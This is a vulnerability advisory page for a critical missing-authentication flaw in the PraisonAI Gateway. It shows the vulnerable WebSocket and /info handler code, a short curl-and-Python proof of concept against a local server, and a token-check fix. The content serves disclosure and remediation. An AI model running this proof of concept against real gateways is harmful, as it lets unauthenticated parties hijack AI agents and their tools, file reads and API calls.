CVE-2026-34952
CRITICALCVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3Description
### Summary The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. ### Details `gateway/server.py:242` (source) -> `gateway/server.py:250` (sink) ```python # source -- /info leaks all agent IDs with no auth async def info(request): return JSONResponse({ "agents": list(self._agents.keys()), "sessions": len(self._sessions), "clients": len(self._clients), }) # sink -- WebSocket accepted unconditionally, no token check async def websocket_endpoint(websocket: WebSocket): await websocket.accept() client_id = str(uuid.uuid4()) self._clients[client_id] = websocket # processes any message from any client ``` ### PoC ```bash # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai # start server: # python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" & # Step 1 - enumerate agents, no auth curl -s http://127.0.0.1:8765/info # expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0} # Step 2 - connect to WebSocket, no token python3 -c " import asyncio, websockets, json async def run(): async with websockets.connect('ws://127.0.0.1:8765/ws') as ws: print('Connected with no auth') await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'})) print(await asyncio.wait_for(ws.recv(), timeout=3)) asyncio.run(run()) " # expected output: Connected with no auth # {"type": ...} -- server responds, connection accepted ``` ### Impact Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler. ### Suggested Fix ```python async def websocket_endpoint(websocket: WebSocket): token = websocket.query_params.get("token") or \ websocket.headers.get("Authorization", "").removeprefix("Bearer ") if self._config.auth_token and token != self._config.auth_token: await websocket.close(code=4001, reason="Unauthorized") return await websocket.accept() ```
Analysis
Missing authentication in PraisonAI Gateway 4.5.87 allows remote unauthenticated attackers to hijack AI agent infrastructure via exposed WebSocket endpoints and topology enumeration. The `/ws` WebSocket endpoint and `/info` REST endpoint accept connections without token validation, enabling arbitrary message injection to registered agents and their tool sets. …
Sign in for full analysis, threat intelligence, and remediation guidance.
Remediation
Within 24 hours: Inventory all PraisonAI Gateway 4.5.87 deployments and identify instances accessible from untrusted networks; isolate or disable publicly routable access immediately. Within 7 days: Implement network-layer controls (IP allowlists, WAF rules blocking /ws and /info endpoints to unauthorized sources) and apply authentication at reverse proxy/load balancer level. …
Sign in for detailed remediation steps.
Priority Score
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-cfh6-vr3j-qc3g